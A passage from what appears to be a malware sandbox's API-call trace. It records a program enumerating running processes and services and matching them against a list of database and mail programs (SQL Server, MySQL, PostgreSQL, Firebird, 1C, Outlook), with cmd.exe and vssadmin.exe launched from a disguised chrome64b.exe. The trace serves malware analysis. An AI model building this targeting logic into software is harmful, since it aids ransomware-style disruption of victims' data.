(lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.827] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.828] lstrlenW (lpString="csrss.exe") returned 9 [0044.828] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.828] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.828] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.828] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.829] lstrlenW (lpString="wininit.exe") returned 11 [0044.829] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.829] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.829] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.830] lstrlenW (lpString="csrss.exe") returned 9 [0044.830] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.830] lstrlenW (lpString="winlogon.exe") returned 12 [0044.830] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.833] lstrlenW (lpString="services.exe") returned 12 [0044.833] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.834] lstrlenW (lpString="lsass.exe") returned 9 [0044.834] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.835] lstrlenW (lpString="lsm.exe") returned 7 [0044.835] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.836] lstrlenW (lpString="svchost.exe") returned 11 [0044.836] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.836] lstrlenW (lpString="svchost.exe") returned 11 [0044.836] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.837] lstrlenW (lpString="svchost.exe") returned 11 [0044.837] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.838] lstrlenW (lpString="svchost.exe") returned 11 [0044.838] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.838] lstrlenW (lpString="svchost.exe") returned 11 [0044.838] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.839] lstrlenW (lpString="audiodg.exe") returned 11 [0044.839] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.840] lstrlenW (lpString="svchost.exe") returned 11 [0044.840] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.841] lstrlenW (lpString="svchost.exe") returned 11 [0044.841] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.841] lstrlenW (lpString="dwm.exe") returned 7 [0044.842] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.842] lstrlenW (lpString="explorer.exe") returned 12 [0044.842] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.843] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.843] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.843] lstrlenW (lpString="taskhost.exe") returned 12 [0044.844] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.844] lstrlenW (lpString="svchost.exe") returned 11 [0044.844] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.845] lstrlenW (lpString="taskeng.exe") returned 11 [0044.845] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.845] lstrlenW (lpString="taskhost.exe") returned 12 [0044.845] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0044.846] lstrlenW (lpString="obligations-breath.exe") returned 22 [0044.846] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0044.847] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0044.847] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0044.847] lstrlenW (lpString="achieving.exe") returned 13 [0044.847] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0044.848] lstrlenW (lpString="venice.exe") returned 10 [0044.848] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0044.849] lstrlenW (lpString="owns.exe") returned 8 [0044.849] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0044.849] lstrlenW (lpString="faster momentum.exe") returned 19 [0044.849] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0044.908] lstrlenW (lpString="vital_reasons.exe") returned 17 [0044.908] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0044.922] lstrlenW (lpString="everyone.exe") returned 12 [0044.922] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0044.923] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0044.923] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0044.924] lstrlenW (lpString="bored_excluded.exe") returned 18 [0044.924] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0044.924] lstrlenW (lpString="mothers.exe") returned 11 [0044.924] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0044.925] lstrlenW (lpString="career-fed.exe") returned 14 [0044.925] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0044.926] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0044.926] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0044.926] lstrlenW (lpString="initial_utilization.exe") returned 23 [0044.926] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0044.927] lstrlenW (lpString="cf-represent.exe") returned 16 [0044.927] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0044.928] lstrlenW (lpString="tue.exe") returned 7 [0044.928] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0044.929] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0044.929] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0044.929] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0044.929] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0044.930] lstrlenW (lpString="stuff_event.exe") returned 15 [0044.930] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0044.931] lstrlenW (lpString="keywords-copies.exe") returned 19 [0044.931] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0044.932] lstrlenW (lpString="lap.exe") returned 7 [0044.932] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.932] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.932] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0044.933] lstrlenW (lpString="chrome64b.exe") returned 13 [0044.933] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.934] lstrlenW (lpString="cmd.exe") returned 7 [0044.934] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.934] lstrlenW (lpString="conhost.exe") returned 11 [0044.934] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.935] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.935] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.936] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.936] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.936] lstrlenW (lpString="svchost.exe") returned 11 [0044.936] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0044.937] CloseHandle (hObject=0x210) returned 1 [0044.937] Sleep (dwMilliseconds=0x1f4) [0045.484] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0f8 [0045.484] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0045.484] GetLastError () returned 0xea [0045.485] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0045.485] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0045.486] CloseServiceHandle (hSCObject=0x64a0f8) returned 1 [0045.486] lstrlenW (lpString="Appinfo") returned 7 [0045.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.486] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.486] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.486] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.486] lstrlenW (lpString="AudioSrv") returned 8 [0045.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.486] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.486] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.486] lstrlenW (lpString="BFE") returned 3 [0045.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.487] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.487] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.487] lstrlenW (lpString="CryptSvc") returned 8 [0045.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.487] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.487] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.487] lstrlenW (lpString="CscService") returned 10 [0045.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.487] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.487] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.487] lstrlenW (lpString="DcomLaunch") returned 10 [0045.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.487] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.487] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.487] lstrlenW (lpString="Dhcp") returned 4 [0045.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.488] lstrlenW (lpString="Dnscache") returned 8 [0045.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.488] lstrlenW (lpString="DPS") returned 3 [0045.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.488] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.488] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.488] lstrlenW (lpString="eventlog") returned 8 [0045.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.488] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.488] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.488] lstrlenW (lpString="EventSystem") returned 11 [0045.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.489] lstrcmpiW 